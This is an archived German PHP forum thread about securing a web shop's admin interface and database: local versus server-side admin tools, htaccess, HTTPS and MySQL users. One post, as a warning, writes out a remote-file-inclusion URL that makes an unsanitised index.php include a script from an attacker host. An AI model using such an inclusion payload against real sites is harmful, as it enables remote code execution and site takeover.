Sie befinden sich hier im Forenarchiv von phpforum.de wenn Sie direkt ins Forum möchten, klicken Sie bitte hier. Zur Startseite kommen Sie hier.

Sicherheit Adminoberfläche

Hallo zusammen,


ich mach mir gerade ein paar Gedanken zum Thema PHP/Datenbanksicherheit.
Meinstens ist es ja so, dass man auf dem Webserver eine Adminoberfläche hat und darauf Zugriff durch ein Passwort hat, wodurch man dann die Datenbank ändern kann.
Ist es auch irgendwie möglich, die Adminoberfläche nur lokal zu bedienen, ohne dass sie auf einem öffentlichen Webserver liegt ?

Bei den Banking-Webseiten ist es ja schließlich auch nicht so, dass z.B. neue Kunden durch einen Adminzugang auf der Webseite zugefügt werden , oder ?

Hoffentlich war das jetzt einigermaßen verständlich ....

Grüße, Chrissi

Hier gehts zum Orginal Eintrag "Sicherheit Adminoberfläche" im Forum

Antworten

Ich verstehe deine Frage offensichtlich nicht.
Zitat:
Bei den Banking-Webseiten ist es ja schließlich auch nicht so, dass z.B. neue Kunden durch einen Adminzugang auf der Webseite zugefügt werden , oder ?
Natürlich werden KUnden da hinzugefügt. Aber wohl eher über eine eigene CRM-Software die das ganze selbst in die Datenbank einträgt. Wahrscheinlich üblicherweise auch nicht web-based.


2.

Natürlich ist es das, Stichwort Intranet oder ein Client-Programm.


3.

Ich gehe auch mal davon aus, das die BankingSite auf die Datenbank der CRM von der Bank zugrieft.... würde ja sinn machen....


4.

Aber die CRM-Software liegt ja dann wahrscheinlich nicht auf irgendeinem Webserver, sondern wird lokal in den einzelnen Geschäftsabteilungen bedient ... die neuen Daten werden dann an den Datenbankserver gesendet. Oder wie kann man sich das vorstellen ?

Ich frage nur, weil ich einen eigenen Online-Shop erstellen möchten. Die Kundendaten müssten dann natürlich sicher sein. Und an die Adminoberfläche sollte kein Unbefugter rankommen.
Worauf sollte ich da genau achten ?

Ist PHP für solche sicherheitsrelevanten Sachen überhaupt geeignet ?

Ist es auch wichtig für welchen Provider ich mich entscheide, oder gibt es da keine großen Unterschiede ?


5.

Das mit der CRM-Software wird so sein. Ob da jetzt eine oder zwei Datenbanken hinter hängen, ist ja egal. Fakt ist, das die Daten von einer "lokalen" Software (im Firmennetz) in die Datebank geschrieben werden und vom Webservice wieder ausgelesen werden.

Wenn du einen Webshop entwickelst, stellt du dann auch einen eigenen Server zur verügung? dann kannst du die Datenbank ja so dicht machen, das dort niemand anderes herein kommt.

Wenn du aber keinen User anlegst, der von Überall auf der Welt alle Rechte besitzt und Zusätlich deinen Adminbereich mit nem verbünftigen Login-System ausstattest, denke ich, sind die Daten sicher.

* Ohne Gewähr ;-) *

Gruß Micha


6.

also ich würde den admin-bereich wie folgt machen:

methode 1:
admin-applikation auf heimrechner/heimserver. diese loggt sich direkt in die datenbank des webservers ein. am besten mit gesicherter verbindung. prob: eventuell sicherheitsrisiko wenn die db von aussen erreichbar ist.

methode 2:
admin-applikation auf server. mittels htaccess schützen. applikation selber hat nochmals pw-abfrage. verbindung über https. datenbank ist nur von localhst erreichbar.


7.

Ich würde auch die 2. Methode benutzen.... Wichtig ist auch das du nicht nur den Passwortschutz hast, sondern die Scripte müssen auch sicher sein. Mein erster Admin-bereich wurde durch eine Sicherheitslücke im externen bereich geknackt. Da hatte ich ne index.php die über einen parameter "page" die gewünschte Seite included hat. Aber auch wort-wörlich. über www.meineSeite.de/index.php?page=www.hacker.de/hackerscript.php war der Hacker dann mit allem was er wollte drin....

Aber im groben und ganzen deke ich, kann PHP doch sehr sicher sein....


8.

Danke für die Tipps, ich werde mich dann wahrscheinlich auch für die zweite Methode entscheiden.

Noch eine andere Frage:

Man kann ja bei MySql Datenbanken unterschiedliche Benutzer mit verschiedenen Rechten festlegen. Jedenfalls ist das auf meinem eigenen Test-Webserver mit phpmyadmin möglich. Bei meinem Provider, freenet, scheint das nicht möglich zu sein ... ausserdem kann ich die Datenbank nicht umbenennen. Ist das normal oder sollte ich lieber den Provider wechseln ?

Wenn ich nun theoretisch unterschiedliche Benutzer(-rechte) auf die Datenbank hätte, wie müsste dann die Funktion mysql_connect() aussehen ? Kann ich dann den jeweiligen Benutzernamen als Parameter angeben ?

Und ist es überhaupt sinnvoll die Datenbankverbindung die ganze Zeit beizubehalten oder sollte man nach jeder Datenbankabfrage die Verbindung schließen und bei der nächsten Abfrage wieder verbinden ? Ist das sicherer oder nur umständlicher ?


9.

Moin Chrissi!

Das ist normal, das der Username und der DB-Name fest stehen. Das wird von so ziemlich allen Providern vorgegeben. Ich hatte zumindest noch keinen wo ich mir das aussuhen könnte. Bei solchen Proviedern ist es auch eigentlich so, dass der vorhandene User nur von dem Server aus zugreifen kann. Also schon eigentlich sicher. Wenn du einen Anbieter findest, wo du mehrere User anlegen kannst, musst du das in deinem mysql_connect() berücksichtigen:

[doc]mysql_connect[/doc]

So kannst du verschiedene User für verschiedene Funktionen benutzen....


10.

alles klar, dann werde ich freenet treu bleiben ;)

Sowas wie unterschiedliche Sichten und Rechte auf die Datenbank kann man dann also vergessen, ja ?


Hier gehts zum Orginal Eintrag "Sicherheit Adminoberfläche" im Forum
 
phpforum.de | Impressum